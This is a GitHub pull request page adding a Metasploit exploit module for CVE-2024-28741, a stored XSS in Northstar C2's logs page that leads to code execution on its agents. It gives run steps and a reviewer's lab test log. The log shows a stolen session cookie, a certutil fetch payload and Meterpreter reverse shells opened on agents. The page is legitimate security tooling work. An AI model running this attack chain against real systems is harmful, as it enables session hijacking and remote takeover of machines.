Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Northstar C2 Stored XSS to Agent RCE (CVE-2024-28741) #19102

Merged
5 commits merged into from May 21, 2024

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Apr 17, 2024

This PR adds a new exploit against Northstar C2, exploiting CVE-2024-28741. We're able to pretend to be an infected computer (agent) and send an XSS payload. When a logged in user views the logs, we take their cookie, then exploit all the agents to deploy our own shellcode.

Verification

  1. Install the application, and connect an agent
  2. Start msfconsole
  3. Do: use exploit/windows/http/northstar_c2_xss_to_agent_rce
  4. Do: set rhosts [ip]
  5. Do: set srvhost [srvhost]
  6. Do: set fetch_srvport [fetch_srvport]
  7. Do: set fetch_srvhost [fetch_srvhost]
  8. Do: run
  9. Do: visit the NorthStarC2 site with a logged in user, and browse to the Server Logs page.
  10. You should get a shell on each agent.

@h00die
Copy link
Contributor Author

h00die commented Apr 17, 2024

@chebuya wanted to bring this to your attention since you discovered it

@sjanusz-r7 sjanusz-r7 dismissed their stale review April 18, 2024 14:42

Accidental approval, meant to be a 'comment'

@jheysel-r7 jheysel-r7 self-assigned this Apr 25, 2024
@jheysel-r7 jheysel-r7 removed their assignment May 2, 2024
@jheysel-r7 jheysel-r7 self-assigned this May 13, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cool module! Thanks for this one @h00die. A couple cosmetic comments but other than that the module worked quite nicely.

Testing NorthstarStager.exe compiled on Windows 10 (19045) connected to Northstar C2 installed on Ubuntu 22.04. Both on the vulnerable commit e7fdce148b6a81516e8aa5e5e037acd082611f73

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > options

Module options (exploit/windows/http/northstar_c2_xss_to_agent_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   KILL       false            no        Kill the NorthStar C2 agent
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.16.199.131   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST    172.16.199.1     yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the NorthStar C2 Application
   URIPATH    /                no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      KNBXoiAeeq       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST       172.16.199.1     no        Local IP to use for serving payload
   FETCH_SRVPORT       9090             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. NorthStar Login page detected
[*] Using URL: http://172.16.199.1:8080/
[*] Server started.
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Waiting on XSS execution
[+] 172.16.199.131   northstar_c2_xss_to_agent_rce - Received cookie: d89vrb0v20fpr9mr9v63t6ag4j
[+] 172.16.199.131   northstar_c2_xss_to_agent_rce - Live Agents
===========

 ID                   IP              OS                     Username                 Hostname         Status
 --                   --              --                     --------                 --------         ------
 NcXSkaPsdYYqgc3m1Wq  172.16.199.137  Windows 10 Enterprise  DESKTOP-N3ORU31\msfuser  DESKTOP-N3ORU31  Online

[*] 172.16.199.131   northstar_c2_xss_to_agent_rce - (NcXSkaPsdYYqgc3m1Wq) Stealing DESKTOP-N3ORU31
[*] Sending stage (201798 bytes) to 172.16.199.137
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.137:50597) at 2024-05-13 14:25:50 -0700

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-N3ORU31\msfuser
meterpreter > sysinfo
Computer        : DESKTOP-N3ORU31
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >


NorthStar C2, prior to commit `7674a44` on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored xss.
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
An unauthenticated user can simulate an agent registration to cause the XSS and take over a user's session.

@jheysel-r7 jheysel-r7 closed this pull request by merging all changes into rapid7:master in 6e9e4a5 May 21, 2024
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label May 21, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Status: Done
Development

Successfully merging this pull request may close these issues.

None yet

5 participants